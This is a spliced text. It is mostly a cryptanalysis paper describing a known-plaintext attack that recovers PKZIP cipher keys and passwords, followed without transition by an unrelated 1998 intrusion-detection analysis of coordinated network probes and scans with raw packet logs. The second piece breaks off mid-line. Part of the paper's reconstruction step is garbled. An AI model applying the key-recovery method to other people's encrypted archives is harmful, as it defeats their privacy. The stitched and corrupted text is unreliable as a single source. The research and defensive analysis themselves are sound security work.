Computer Science Department, Technion - Israel Institute of Technology, Haifa 32000, Israel. (**) Independent cryptographic consultant, 7700 N.W. Ridgewood Dr., Corvallis, OR 97330, USA. (415) 354-8004. ABSTRACT: The PKZIP program is one of the more widely used archive/compression programs on personal computers. It also has many compatible variants on other computers, and is used by most BBS's and ftp sites to compress their archives. PKZIP provides a stream cipher which allows users to scramble files with variable length keys (passwords). In this paper we describe a known plaintext attack on this cipher, which can find the internal representation of the key within a few hours on a personal computer using a few hundred bytes of known plaintext. In many cases, the actual user keys can also be found from the internal representation. We conclude that the PKZIP cipher is weak, and should not be used to protect valuable data. SECTION 1: Introduction The PKZIP program is one of the more widely used archive/compression programs on personal computers. It also has many compatible variants on other computers (such as Infozip's zip/unzip), and is used by most BBS's and ftp sites to compress their archives. PKZIP provides a stream cipher which allows users to scramble the archived files under variable length keys (passwords). This stream cipher was designed by Roger Schlafly. In this paper we describe a known plaintext attack on the PKZIP stream cipher which takes a few hours on a personal computer and requires about 13--40 (compressed) known plaintext bytes, or the first 30--200 uncompressed bytes, when the file is compressed. The attack primarily finds the 96-bit internal representation of the key, which suffices to decrypt the whole file and any other file encrypted under the same key. Later, the original key can be constructed. This attack was used to find the key of the PKZIP contest. The analysis in this paper holds to both versions of PKZIP: version 1.10 and version 2.04g. The ciphers used in the two versions differ in minor details, which does not affect the analysis. The structure of this paper is as follows: Section 2 describes PKZIP and the PKZIP stream cipher. The attack is described in Section 3, and a summary of the results is given in Section 4. SECTION 2: The PKZIP Stream Cipher PKZIP manages a ZIP file[1] which is an archive containing many files in a compressed form, along with file headers describing (for each file) the file name, the compression method, whether the file is encrypted, the CRC-32 value, the original and compressed sizes of the file, and other auxiliary information. The files are kept in the zip-file in the shortest form possible of several compression methods. In case that the compression methods do not shrink the size of the file, the files are stored without compression. If encryption is required, 12 bytes (called the _encryption_header_) are prepended to the compressed form, and the encrypted form of the result is kept in the zip-file. The 12 prepended bytes are used for randomization, but also include header dependent data to allow identification of wrong keys when decrypting. In particular, in PKZIP 1.10 the last two bytes of these 12 bytes are derived from the CRC-32 field of the header, and many of the other prepended bytes are constant or can be predicted from other values in the file header. In PKZIP 2.04g, only the last byte of these 12 bytes is derived from the CRC-32 field. The file headers are not encrypted in both versions. The cipher is byte-oriented, encrypting under variable length keys. It has a 96-bit internal memory, divided into three 32-bit words called key0, key1 and key2. An 8-bit variable key3 (not part of the internal memory) is derived from key2. The key initializes the memory: each key has an equivalent internal representation as three 32-bit words. Two keys are equivalent if their internal representations are the same. The plaintext bytes update the memory during encryption. The main function of the cipher is called update_keys, and is used to update the internal memory and to derive the variable key3, for each given input (usually plaintext) byte: update_keys_{i} (char): local unsigned short temp key0_{i+1} <-- crc32(key0_{i},char) key1_{i+1} <-- (key1_{i} + LSB(key0_{i+1})) * 134775813 + 1 (mod 2^{32}) key2_{i+1} <-- crc32(key2_{i},MSB(key1_{i+1})) temp_{i+1} <-- key2_{i+1} | 3 (16 LS bits) key3_{i+1} <-- LSB((temp_{i+1} * (temp_{i+1} xor 1)) >> 8) end update_keys where | is the binary inclusive-or operator, and >> denotes the right shift operator (as in the C programming language). LSB and MSB denote the least significant byte and the most significant byte of the operands, respectively. Note that the indices are used only for future references and are not part of the algorithm, and that the results of key3 using inclusive-or with 3 in the calculation of temp are the same as with the original inclusive-or with 2 used in the original algorithm. We prefer this notation in order to reduce one bit of uncertainty about temp in the following discussion. Before encrypting, the key (password) is processed to update the initial value of the internal memory by: process_keys(key): key0_{1-l} <-- 0x12345678 key1_{1-l} <-- 0x23456789 key2_{1-l} <-- 0x34567890 loop for i <-- 1 to l update_keys_{i-l}(key_{i}) end loop end process_keys where l is the length of the key (in bytes) and hexadecimal numbers are prefixed by 0x (as in the C programming language). After executing this procedure, the internal memory contains the internal representation of the key, which is denoted by key0_{1}, key1_{1} and key2_{1}. The encryption algorithm itself processes the bytes of the compressed form along with the prepended 12 bytes by: Encryption Decryption ---------- ---------- prepend P_{1},...,P_{12} loop for i <-- 1 to n loop for i <-- 1 to n C_{i} <-- P_{i} xor key3_{i} P_{i} <-- C_{i} xor key3_{i} update_keys_{i}(P_{i}) update_keys_{i}(P_{i}) end loop discard P_{1},...,P_{12} The decryption process is similar, except that it discards the 12 prepended bytes. The crc32 operation takes a previous 32-bit value and a byte, XORs them and calculates the next 32-bit value by the crc polynomial denoted by 0xEDB88320. In practice, a table crctab can be precomputed, and the crc32 calculation becomes: crc32 = crc32(pval,char) = (pval>>8) xor crctab[LSB(pval) xor char] The crc32 equation is invertible in the following sense: pval = crc32^{-1}(crc32,char) = (crc32 << 8) xor crcinvtab[MSB(crc32)] xor char crctab and crcinvtab are precomputed as: init_crc(): local unsigned long temp loop for i <-- 0 to 255 temp <-- crc32(0,i) crctab[i] <-- temp crcinvtab[temp >> 24] <-- (temp << 8) xor i end loop end init_crc in which crc32 refers to the original definition of crc32: crc32(temp,i): temp <-- temp xor i loop for j <-- 0 to 7 if odd(temp) then temp <-- temp >> 1 xor 0xEDB88320 else temp <-- temp >> 1 endif end loop return temp end crc32 SECTION 3: The Attack The attack we describe works even if the known plaintext bytes are not the first bytes (if the file is compressed, it needs the compressed bytes, rather than the uncompressed bytes). In the following discussion the subscripts of the n known plaintext bytes are denoted by 1,...,n, even if the known bytes are not the first bytes. We ignore the subscripts when the meaning is clear and the discussion holds for all the indices. Under a known plaintext attack, both the plaintext and the ciphertext are known. In the PKZIP cipher, given a plaintext byte and the corresponding ciphertext byte, the value of the variable key3 can be calculated by key3_{i} = P_{i} xor C_{i}. Given P_{1},...,P_{n} and C_{1},...,C_{n}, we receive the values of key3_{1},...,key3_{n}. The known plaintext bytes are the inputs of the update_keys function, and the derived key3's are the outputs. Therefore, in order to break the cipher, it suffices to solve the set of equations derived from update_keys, and find the initial values of key0, key1 and key2. In the following subsections we describe how we find many possible values for key2, then how we extend these possible values to possible values of key1, and key0, and how we discard all the wrong values. Then, we remain with only the right values which correspond to the internal representation of the key. Subsection 3.1: key2 The value of key3 depends only on the 14 bits of key2 that participate in temp. Any value of key3 is suggested by exactly 64 possible values of temp (and thus 64 possible values of the 14 bits of key2). The two least significant bits of key2 and the 16 most significant bits do not affect key3 (neither temp). Given the 64 possibilities of temp in one location of the encrypted text, we complete the 16 most significant bits of key2 with all the 2^{16} possible values, and get 2^{22} possible values for the 30 most significant bits of key2. key2_{i+1} is calculated by key2_{i+1} <-- crc32(key2_{i},MSB(key1_{i+1})). Thus, key2_{i} = crc32^{-1}(key2_{i+1},MSB(key1_{i+1})) = (key2_{i+1}<<8) xor crcinvtab[MSB(key2_{i+1})] xor MSB(key1_{i+1}). Given any particular value of key2_{i+1}, for each term of this equation we can calculate the value of the 22 most significant bits of the right hand side of the equation, and we know 64 possibilities for the value of 14 bits of the left hand side, as described in Table 1. From the table, we can see that six bits are common to the right hand side and the left hand side. Only about 2^{-6} of the possible values of the 14 bits of key2_{i} have the same value of the common bits as in the right hand side, and thus, we remain with only one possible value of the 14 bits of key2_{i} in average, for each possible value of the 30 bits of key2_{i+1}. When this equation holds, we can complete additional bits of the right and the left sides, up to the total of the 30 bits known in at least one of the sides. Thus, we can deduce the 30 most significant bits of key2_{i}. We get in average one value for these 30 most significant bits of key2_{i}, for each value of the 30 most significant bits of key2_{i+1}. Therefore, we are now just in the same situation with key2_{i} as we were before with key2_{i+1}, and we can now find values of 30 bits of key2_{i-1}, key2_{i-2},...,key2_{1}. Given this list of 30-bit values, we can complete the 32-bit values of key2_{n}, key2_{n-1},...,key2_{2} (excluding key2_{1}) using the same equation. We remain with about 2^{22} lists of possible values (key2_{n},key2_{n-1},...,key2_{2}), of which one must be the list actually calculated during encryption. Table 1: Side Term Bits# BitsPosition #OfValues ------------------------------------------------------------------ Left key2_{i} 14 2-15 64 Right key2_{i+2} << 8 22 10-31 1 crcinvtab[MSB(key2_{i+1})] 32 0-31 1 MSB(key1_{i+1}) 24 8-31 1 ------------------------------------------------------------------ Total Left Hand Side 14 2-15 64 Total RIght Hand Side 22 10-31 1 ------------------------------------------------------------------ Common bits 6 10-15 Total bits 30 2-31 Subsection 3.2: Reducing the number of possible values of key2 The total complexity of our attack is (as described later) 2^{16} times the number of possible lists of key2's. If we remain with 2^{22} lists, the total complexity becomes 2^{38}. This complexity can be reduced if we can reduce the number of lists of key2's without discarding the right list. We observed that the attack requires only 12--13 known plaintext bytes (as we describe later). Our idea is to use longer known plaintext streams, and to reduce the number of lists based on the additional plaintext. In particular, we are interested only in the values of key2_{13}, and not in all the list of key2_{i}, i=13,...,n. key2_{13} is then used in the attack as is described above. We start with the 2^{22} possible values of key2_{n}, and calculate the possible values of key2_{n-1}, key2_{n-2}, etc. using Equation 1. The number of possible values of key2_{i} (i=n-1, n-2, etc.) remains about 2^{22}. However, some of the values are duplicates of other values. When these duplicates are discarded, the number of possible values of key2_{i} is substantially decreased. To speed things up, we calculate all the possible values of key2_{n-1}, and remove the duplicates. Then we calculate all the possible values of key2_{n-2}, and remove the duplicates, and so on. When the duplicates fraction becomes smaller, we can remove the duplicates only every several bytes, to save overhead. Figure 1 shows the number of remaining values for any given size of known plaintext participating in the reduction, as was measured on the PKZIP contest file (which is typical). We observed that using about 40 known plaintext bytes (28 of them are used for the reduction and 12 for the attack), the number of possible values of key2_{13} is reduced to about 2^{18}, and the complexity of the attack is 2^{34}. Using 10000-byte known plaintext, the complexity of our attack is reduced to 2^{24}--2^{27}. Figure 1: bytes key2 list entries 1 2^{22}=4194304 2 3473408 3 2152448 +-----------------------------+ 4 1789183 | The PostScript version of | 5 1521084 | the paper has a graph here | 10 798169 | showing the number of key2 | 15 538746 | values as a function of the | 20 409011 | number of plaintext bytes. | 25 332606 +-----------------------------+ 30 283930 40 213751 50 174471 100 88248 200 43796 300 31088 500 16822 1000 7785 2000 5196 4000 3976 6000 3000 8000 1296 10000 1857 12000 243 12289 801 Fig 1. Decrease in the number of key2 candidates using varying amounts of known plaintext. These results are for the PKZIP contest file and are fairly typical, though the entry 12000 is unusually low. Subsection 3.3: key1 From the list of (key2_{n}, key2_{n-1},...,key2_{2}) we can calculate the values of the most significant bytes the key1's by MSB(key1_{i+1}) = (key2_{i+1} << 8) xor crcinvtab[MSB(key2_{i+1})] xor key2_{i}. !!! We receive the list (MSB(key1_{n}),MSB(key1_{n-1}),...,MSB(key1_{3})) (excluding MSB(key1_{2})). Given MSB(key1_{n}) and MSB(key1_{n-1}), we can calculate about 2^{16} values for the full values of key1_{n} and key1_{n-1}+LSB(key0_{n}). This calculation can be done efficiently using lookup tables of size 256--1024. Note that key1_{n-1}+LSB(key0_{n}) = (key1_{n}-1) * 134775813^{-1} (mod 2^{32}) and that LSB(key0_{n}) is in the range 0,...,255. At this point we have about 2^{11} * 2^{16} = 2^{27} (or 2^{22} * 2^{16} = 2^{38}) possible lists of key2's and key1_{n}. Note that in the remainder of the attack no additional complexity is added, and all the additional operations contain a fixed number of instructions for each of the already existing list. The values of key1_{n-1}+LSB(key0_{n}) are very close to the values of key1_{n-1} (since we lack only the 8-bit value LSB(key0_{n})). Thus, an average of only 256 * 2^{-8} = 1 possible value of key1_{n-1} that leads to the most significant byte of key1_{n-2} from the list. This value can be found efficiently using the same lookup tables used for finding key1_{n}, with only a few operations. Then, we remain with a similar situation, in which key1_{n-1} is known and we lack only eight bits of key1_{n-2}. We find key1_{n-2} with the same algorithm, and then find the rest of key1_{n-3}, key1_{n-4}, and so on with the same algorithm. We result with about 2^{27} possible lists, each containing the values of (key2_{n}, key2_{n-1},...,key2_{2}, and key1_{n}, key1_{n- 1},...,key1_{4}) (again, key1_{3} cannot be fully recovered since two successive values of MSB(key1) are required to find each value of key1). Subsection 3.4: Given a list of (key1_{n}, key1_{n-1},...,key1_{4}), we can easily calculate the values of the least significant bytes of (key0_{n}, key0_{n-1},...,key0_{5}) by LSB(key0_{i+1}) = ((key1_{i+1}-1) * 134775813^{-1})-key1_{i} (mod 2^{32}). key0_{i+1} is calculated by key0_{i+1} <-- crc32(key0_{i},P_{i}) = (key0_{i} >> 8) xor crctab[LSB(key0_{i}) xor P_{i}]. Crc32 is a linear function, and from any four consecutive LSB(key0) values, together with the corresponding known plaintext bytes it is possible to recover the full four key0's. Moreover, given one full key0, it is possible to reconstruct all the other key0's by calculating forward and backward, when the plaintext bytes are given. Thus, we can now receive key0_{n},...,key0_{1} (this time including key0_{1}). We can now compare the values of the least significant bytes of key0_{n-4},...,key0_{n-7} to the corresponding values from the lists. Only a fraction of 2^{-32} of the lists satisfy the equality. Since we have only about 2^{27} possible lists, it is expected that only one list remain. This list must have the right values of the key0's, key1's, and key2's, and in particular the right values of key0_{n}, key1_{n} and key2_{n}. In total we need 12 known plaintext bytes for this analysis (except for reducing the number of key2 lists) since in the lists the values of LSB(key0_{i}) start with i=5, and n-7=5 ==> n=12. If no reduction of the number of key2 lists is performed, 2^{38} lists of (key0, key1, key2) remain at this point, rather than 2^{27}. Thus, we need to compare five bytes key0_{n-4},...,key0_{n-8} in order to remain with only one list. In this case, 13 known plaintext bytes are required for the whole attack, and the complexity of analysis is 2^{38}. Subsection 3.5: The Internal Representation of the Key Given key0_{n}, key1_{n} and key2_{n}, it is possible to construct key0_{i}, key1_{i} and key2_{i} for any i> 8) P_{i} = C_{i} xor key3_{i} key0_{i} = crc32(key0_{i+1},P_{i}) The resulting value of (key0_{1},key1_{1},key2_{1}) is the internal representation of the key. It is independent of the plaintext and the prepended bytes, and depends only on the key. With this internal representation of the key we can decrypt any ciphertext encrypted under the same key. The two bytes of crc32 (one byte in version 2.04g) which are included in the 12 prepended bytes allow further verification that the file is really encrypted under the found internal representation of the key. Subsection 3.6: The Key (Password) The internal representation of the key suffices to break the cipher. However, we can go even further and find the key itself from this internal representation with the complexities summarized in Table 2. The algorithm tries all key lengths 0, 1, 2, ..., up to some maximal length; for each key length it does as described in the following paragraphs. Table 2: Complexity of finding the key itself ----------------------------------------------------------------- Key length 1-6 7 8 9 10 11 12 13 Complexity 1 2^{8} 2^{16} 2^{24} 2^{32} 2^{40} 2^{48} 2^{56} ----------------------------------------------------------------- For l <= 4 it knows key0_{1-l} and key0_{1}. Only l <= 4 key bytes are entered to the crc32 calculations that update key0_{1-l} into key0_{1}. Crc32 is a linear function, and these l <= 4 key bytes can be recovered, just as key0_{n},...,key0_{n-3} recovered above. Given the l key bytes, we reconstruct the internal representation, and verify that we get key1_{1} and key2_{1} as expected (key0_{1} must be as expected, due to the construction). If the verification succeeds, we found the key (or an equivalent key). Otherwise, we try the next key length. For 5 <= l <= 6 we can calculate key1_{0}, key2_{0} and key2_{-1}, as in Equation 2. Then, key2_{2-l},...,key2_{-2} can be recovered since they are also calculated with crc32, and depend on l-2 <= 4 unknown bytes (of key1's). These unknown bytes MSB(key1_{2-l}),..., MSB(key1_{-1}) are also recovered at the same time. key1_{1-l} is known. Thus, we can receive an average of one possible value for key1_{2-l} and for key1_{3-l}, together with LSB(key0_{2-l}) and LSB(key0_{3-l}), using the same lookup tables used in the attack. From LSB(key0_{2-l}) and LSB(key0_{3-l}) and key0_{1-l}, we can complete key0_{2-l} and key0_{3-l} and get key_{1} and key_{2}. The remaining l-2 key bytes are found by solving the l-2 <= 4 missing bytes of the crc32 as is done for the case of l <= 4. Finally, we verify that the received key has the expected internal representation. If so, we have found the key (or an equivalent key). Otherwise, we try the next key length. For l>6, we try all the possible values of key_{1},...,key_{l-6}, calculating key0_{-5}, key1_{-5} and key2_{-5}. Then we used the l=6 algorithm to find the remaining six key bytes. In total we try about 2^{8 * (l-6)} keys. Only a fraction of 2^{-64} of them pass the verification (2^{-32} due to each of key1 and key2). Thus, we expect to remain with only the right key (or an equivalent) in trials of up to 13-byte keys. Note that keys longer than 12 bytes will almost always have equivalents with up to 12 (or sometimes 13) bytes, since the internal representation is only 12-bytes long. SECTION 4: Summary In this paper we describe a new attack on the PKZIP stream cipher which finds the internal representation of the key, which suffices to decrypt the whole file and any other file which is encrypted by the same key. This known plaintext attack breaks the cipher using 40 (compressed) known plaintext bytes, or about the 200 first uncompressed bytes (if the file is compressed), with complexity 2^{34}. Using about 10000 known plaintext bytes, the complexity is reduced to about 2^{27}. Table 3 describes the complexity of the attack for various sizes of known plaintext. The original key (password) can be constructed from the internal representation. An implementation of this attack in software was applied against the PKZIP cipher contest. It found the key "f7 30 69 89 77 b1 20" (in hexadecimal) within a few hours on a personal computer. Table 3: Complexity of the attack by the size of the known plaintext Bytes Complexity ------- ---------- 13 2^{38} 40 2^{34} 110 2^{32} 310 2^{31} 510 2^{30} 1000 2^{29} 4000 2^{28} 10000 2^{27} A variant of the attack requires only 13 known plaintext bytes, in price of a higher complexity 2^{38}. Since the last two bytes (one in version 2.04g) of the 12 prepended bytes are always known, if the known plaintext portion of the file is in its beginning, the attack requires only 11 (12) known plaintext bytes of the compressed file. (In version 1.10 several additional prepended bytes might be predictable, thus the attack might actually require even fewer known plaintext bytes.) We conclude that the PKZIP cipher is weak and that it should not be used to protect valuable information. --------------------------------------------------------------------------- [Shadow]---------Coordinated TCP Attacks and Probes SHADOW Indications Technical Analysis Coordinated Attacks and Probes Updated Oct 05 1998 codebits Executive Summary: This document details attacks and probes that have been recently observed in which multiple attackers are clearly working together toward a common goal from different IP addresses. Often these IP addresses are also physically separated, in different countries or even different continents. There are three obvious purposes for this type of activity: - Stealth. By working from multiple IP addresses the attackers achieve a smaller per-IP signature and are more difficult to detect with conventional means. In addition, stealth is enhanced by the development of new hard-to-detect probing techniques. - Firepower. By coordinating multiple attacking IP addresses, the attackers will be able to deliver more exploits on target in a smaller time window. Target in this case can be one or more sites. Further, the defense technique of blocking an attacker IP or subnet (shunning) will be less effective. We believe that the use of coordinated scans and probes from differing sites represents a new and continuing capability that merits further analysis and tracking. Some of these coordinated probes and scans we are seeing today may be practice runs for future larger scale attacks. - More data. By working from different IP addresses, often entirely different subnets, against the same target it is possible to obtain data that is difficult from a single source IP scan or probe. This data may include shortest route data (i.e. packets from source A arrive faster than from source B), or even potential backdoors (i.e. packets from source A can gain access to hosts that source B can't see). This type of data can be used to optimise future scans, probes, or attacks. Analysis: Multiple different attacks and probes are documented here. The commonality is that the attacker is able to launch the attack from multiple unrelated (or partially related) addresses in a coordinated fashion. Special thanks to Rob Cardoza, Vicki Irwin, and Pedro Vazquez for their help in deciphering this puzzle. =============================== EXAMPLE 1: Coordinated traceroutes These have been reported previously, but they make an excellent example of the general approach. Five different sources all hit the target (a firewall) within minutes of each other. The signature of each hit is nearly identical. Note the use of two entirely different domains within seconds of each other. This will allow them to have timing data for multiple paths. 12:29:30.012086 proberA.39964 > target.33500: udp 12 [ttl 1] 12:29:30.132086 proberA.39964 > target.33501: udp 12 [ttl 1] 12:29:30.252086 proberA.39964 > target.33502: udp 12 [ttl 1] 12:29:30.352086 proberA.39964 > target.33503: udp 12 [ttl 1] 12:29:30.482086 proberA.39964 > target.33504: udp 12 [ttl 1] 12:27:37.712086 proberB.46164 > target.33485: udp 12 [ttl 1] 12:27:55.122086 proberB.46164 > target.33487: udp 12 [ttl 1] 12:27:55.162086 proberB.46164 > target.33488: udp 12 [ttl 1] 12:27:55.182086 proberB.46164 > target.33489: udp 12 [ttl 1] 12:29:26.132086 proberC.43327 > target.33491: udp 12 [ttl 1] 12:29:26.242086 proberC.43327 > target.33492: udp 12 [ttl 1] 12:29:26.372086 proberC.43327 > target.33493: udp 12 [ttl 1] 12:29:26.482086 proberC.43327 > target.33494: udp 12 [ttl 1] 12:27:32.962086 proberD.55528 > target.33485: udp 12 [ttl 1] 12:27:33.072086 proberD.55528 > target.33486: udp 12 [ttl 1] 12:27:33.172086 proberD.55528 > target.33487: udp 12 [ttl 1] 12:27:33.292086 proberD.55528 > target.33488: udp 12 [ttl 1] 12:27:33.422086 proberD.55528 > target.33489: udp 12 [ttl 1] 12:27:30.552086 proberE.com > target.33475: udp 12 [ttl 1] 12:27:30.562086 proberE.com > target.33476: udp 12 [ttl 1] 12:27:30.582086 proberE.com > target.33477: udp 12 [ttl 1] 12:27:30.592086 proberE.com > target.33478: udp 12 [ttl 1] 12:27:30.612086 proberE.com > target.33479: udp 12 [ttl 1] Special note: Recently we began screening for large ICMP packets. Many of the ICMP scans we categorized as Smurf attacks were in excess of 1k. Such packets can be used for maximum transmission unit of a path discovery. Please see page 152 in Stevens' TCP/IP Illustrated for further information.[1] Also note the DF flag will be set.[2] =============================== EXAMPLE 2 Simultaneous Reset Scans During the week of 13 SEP Reset Scans were observed from 14 different internet addresses, primarily ISPs. They are working together and are mapping multiple target sites. This appears to be a long term effort, some of the attackers scan rate is as low as 2 packets/day/ target site, well below commonly set thresholds for scan detectors. Until recently these types of scans were easy to detect due to common "signature acknowledgement numbers" (i.e. the IP packet ACK field was always a fixed number, usually 674719802 or 674711610). The more recent probes have random acknowledgement numbers. We thank DISA for the advice on improving the algorithm[3]. The primary signature here is RESET packets with no other activity from that source (such as an active open (SYN) from the source or the target). 17:40:45.870769 hook.24408 > target1.1457: R 0:0(0) ack 674719802 win 0 17:40:53.025203 hook.33174 > target2.1457: R 0:0(0) ack 674719802 win 0 17:41:12.115554 hook.36250 > target3.1979: R 0:0(0) ack 674719802 win 0 17:43:37.605127 router > hook: icmp: time exceeded in-transit 17:43:43.139158 hook.44922 > target4.1496: R 0:0(0) ack 674719802 win 0 17:42:30.400665 grin.3532 > target1a.1167: R 0:0(0) ack 674719802 win 0 17:42:40.582531 grin.33233 > target2a.1797: R 0:0(0) ack 674719802 win 0 17:44:28.836701 grin.52504 > target3a.1634: R 0:0(0) ack 674719802 win 0 17:47:52.578558 grin.46657 > target4a.2121: R 0:0(0) ack 674719802 win 0 17:47:52.698378 router > grin: icmp: time exceeded in-transit NOTE: When the target site's router replies back to the attacker, they know that host or net does not exist. By locating the places that do not exist, they can take the inverse of the map to target future exploit efforts, scans, probes, or attacks. =============================== EXAMPLE 3 Coordinated Exploits To date the coordinated exploits have neither been large scale nor effectual. The scale at least is certain to change as shown by the recent escalation of reset scans. Some examples of coordinated exploits are shown to illustrate this technique. In addition to the patterns shown below, we have seen UDP 137 (NBTSTAT) scans with similar signatures. Example 3A Searching for Back Orifice This had been seen previously but rarely. In a short time frame three attackers were detected at multiple target locations using the same signature. Two (A and B) are shown here: 04:10:34.355832 dax.no.1534 > TARGETBa.31337: udp 19 04:51:15.261462 cpu.com.1534 > TARGETBb.31337: udp 19 04:54:19.101595 dax.no.1534 > TARGETBc.31337: udp 19 06:51:39.392441 dax.no.1534 > TARGETAa.31337: udp 19 06:52:32.700418 cpu.com.1534 > TARGETAb.31337: udp 19 06:06:52.320331 eb.net.1534 > TARGETAc.31337: udp 19 Example 3B DNS ZONE Here we see an interesting pattern occurring within the same day. SourceA connects first, there is no RESET from the DNS server. SourceB then connects from an entirely different IP subnet to the same DNS server and generates a RESET. 07:15:17.563185 SourceA.56141 > TARGETA.domain: S 5335035:53 35035(0) ack 5335034 win 4128 07:15:17.565758 SourceB.domain > TARGETA.domain: S 4601818:46 01818(0) ack 4601817 win 4128 07:15:17.570577 TARGETA.domain > SourceB.domain: R 4601817:46 01817(0) win 24576 22:11:13.044850 SourceA.18052 > TARGETB.domain: S 5624156:56241 56(0) ack 5624155 win 4128 22:11:13.479834 SourceB.domain > TARGETB.domain: S 4849093:48490 93(0) ack 4849092 win 4128 22:11:13.480759 TARGETB.domain > SourceB.domain: R 4849092:48490 92(0) win 32768 =============================== EXAMPLE 4 Codebits and Service Providers (updated OCT 05) Malformed packets, note TCP code bits SYN/RESET/FIN all set as is urgent are detected coming from web servers to the browsing client. The most common pattern is one SFRP (SYN/FIN/RESET/PUSH) packet sent to browsing client per session. Sometimes SRP's are also sent. 10:47:36.614342 media.com.2048 > target.48579: SFR 2842082:2842590(508) ack 2642669109 win 768 urg 2571 (DF) 11:23:42.974342 media.com.2048 > target.47720: SFP 4820865:4821409(544) win 3840 urg 2571 (DF) 13:49:44.334342 gm.com.49608 > target.49606: SFP 7051:7607(556) ack 2147789506 win 7768 (DF) 13:49:44.724342 gm.com.22450 > target.1591: SFRP 2038:2074(36) ack 116065792 win 0 urg 0 (DF) Here is some related activity not from original site but is within the same general timeframe. The stimulus here is the client visiting the web server. These are examples of what comes back. 12:18:46.254342 im.com.5500 > target.1137: SFP 3241821:3242365(544) win 13234 urg 55134 (DF) 13:37:30.334342 im.com.22555 > target.22555: SF 8440982:8441538(556) win 10240 (DF) 14:52:57.454342 demon.net.30975 > target.16940: SFRP 2029994540:2029995068(528) ack 2029994540 win 16940 urg 16940 <[bad opt]> (DF) 14:53:01.634342 demon.net.30975 > target.556: SFRP 2029978156:2029978684(528) ack 2029978156 win 556 urg 556 <[bad opt]> (DF) So perhaps it is benign? Perhaps, but probes have been observed from the same address family that do not have any stimulus (no one visits a web page) and they are targeting DNS and mail servers. Shadow believes this is related to intelligence gathering. There has been some discussion of this on bugtraq: http://www.geek-girl.com/bugtraq/1998_3/0059.html 11:38:11.050712 0:60:83:7b:29:2f 8:0:20:87:60:68 0800 590: PROBER.30974 > MAILHOST.49708: SRP 2029961772:2029962300(528) ack 2029961772 win 49708 urg 49708 <[bad opt]> (DF) What is the "[bad opt]"? 4500 0240 cb80 4000 ef06 5871 0000 0000 ffff ffff 78fe c22c 78fe c22c 78fe c22c 78fe c22c 78fe c22c 78fe c22c 78fe c22c 78fe c22c 78fe c22c 78fe c22c 78fe c22c 78fe c22c 78fe c22c 78fe c22c 78fe c22c 78fe The ffff ffff in the second line masks the destination address (MAILHOST). The third octet of line two is where IP options would be located. The first eight bits "78" are 011 11000 in binary which translates to: Option class 3 - Reserved for future use, and Option Number 24 - an Illegal value. Since the number in the IP options matches a recurring pattern in the remainder of the TCP packet, it is obviously a badly malformed packet. =============================== EXAMPLE 5 Simultaneous DNS scans Here is an excellent example of the stealth of these type of scans. In this case the goal appears to be to locate DNS servers within various target subnets. We see two sources running identical scans (probably the same tool) from vastly different IP addresses (the IP addresses appear to be on two different continents) but running them against the same target networks at the same time. 06:12:33.282195 SourceA.10053 > TargetNetA.34.1.domain: S 992750649:992750649(0) win 242 06:34:18.663344 SourceA.10053 > TargetNetA.35.1.domain: S 3455530061:3455530061(0) win 242 06:56:04.045981 SourceA.10053 > TargetNetA.36.1.domain: S 1895963699:1895963699(0) win 242 07:17:49.443476 SourceA.10053 > TargetNetA.37.1.domain: S 2485794595:2485794595(0) win 242 07:39:34.811723 SourceA.10053 > TargetNetA.38.1.domain: S 3785701160:3785701160(0) win 242 08:01:20.227869 SourceA.10053 > TargetNetA.39.1.domain: S 1471781129:1471781129(0) win 242 08:23:05.643730 SourceA.10053 > TargetNetA.40.1.domain: S 4110489384:4110489384(0) win 242 08:44:50.962887 SourceA.10053 > TargetNetA.41.1.domain: S 1486592867:1486592867(0) win 242 06:10:56.527024 SourceA.10053 > TargetNetB.34.1.domain: S 1935318310:1935318310(0) win 242 06:32:42.146384 SourceA.10053 > TargetNetB.35.1.domain: S 552822870:552822870(0) win 242 06:54:27.317188 SourceA.10053 > TargetNetB.36.1.domain: S 944974642:944974642(0) win 242 07:16:12.731522 SourceA.10053 > TargetNetB.37.1.domain: S 3045099303:3045099303(0) win 242 07:37:58.160387 SourceA.10053 > TargetNetB.38.1.domain: S 323776127:323776127(0) win 242 07:59:43.537424 SourceA.10053 > TargetNetB.39.1.domain: S 1212319841:1212319841(0) win 242 08:21:28.992543 SourceA.10053 > TargetNetB.40.1.domain: S 87682610:87682610(0) win 242 08:43:14.379838 SourceA.10053 > TargetNetB.41.1.domain: S 1460815479:1460815479(0) win 242 06:21:38.677266 SourceA.10053 > TargetNetC.35.1.domain: S 771480424:771480424(0) win 242 06:43:24.079835 SourceA.10053 > TargetNetC.36.1.domain: S 1357786460:1357786460(0) win 242 08:10:25.907162 SourceA.10053 > TargetNetC.40.1.domain: S 292016656:292016656(0) win 242 08:32:11.129991 SourceA.10053 > TargetNetC.41.1.domain: S 2826350638:2826350638(0) win 242 06:00:06.556853 SourceB.10053 > TargetNetA.16.1.domain: S 1738779185:1738779185(0) win 242 06:00:11.681430 SourceB.10053 > TargetNetA.17.1.domain: S 2597129298:2597129298(0) win 242 06:00:16.796096 SourceB.10053 > TargetNetA.18.1.domain: S 3216686157:3216686157(0) win 242 06:00:21.918547 SourceB.10053 > TargetNetA.19.1.domain: S 4121612834:4121612834(0) win 242 06:00:27.038290 SourceB.10053 > TargetNetA.20.1.domain: S 1501341045:1501341045(0) win 242 06:00:32.158748 SourceB.10053 > TargetNetA.21.1.domain: S 134807152:134807152(0) win 242 06:00:37.291499 SourceB.10053 > TargetNetA.22.1.domain: S 2224429686:2224429686(0) win 242 06:00:42.395105 SourceB.10053 > TargetNetA.23.1.domain: S 1480631621:1480631621(0) win 242 06:00:47.542147 SourceB.10053 > TargetNetA.24.1.domain: S 4111668847:4111668847(0) win 242 06:00:52.634943 SourceB.10053 > TargetNetA.25.1.domain: S 2034911826:2034911826(0) win 242 06:00:57.761173 SourceB.10053 > TargetNetA.26.1.domain: S 2622853216:2622853216(0) win 242 06:01:02.876331 SourceB.10053 > TargetNetA.27.1.domain: S 3504466453:3504466453(0) win 242 06:01:07.992931 SourceB.10053 > TargetNetA.28.1.domain: S 3453873749:3453873749(0) win 242 06:01:13.126171 SourceB.10053 > TargetNetA.29.1.domain: S 3984740181:3984740181(0) win 242 06:01:18.237385 SourceB.10053 > TargetNetA.30.1.domain: S 1101968762:1101968762(0) win 242 06:01:23.354751 SourceB.10053 > TargetNetA.31.1.domain: S 3145478250:3145478250(0) win 242 06:01:28.481710 SourceB.10053 > TargetNetA.32.1.domain: S 3742923526:3742923526(0) win 242 06:01:33.601717 SourceB.10053 > TargetNetA.33.1.domain: S 685017136:685017136(0) win 242 06:01:38.711348 SourceB.10053 > TargetNetA.34.1.domain: S 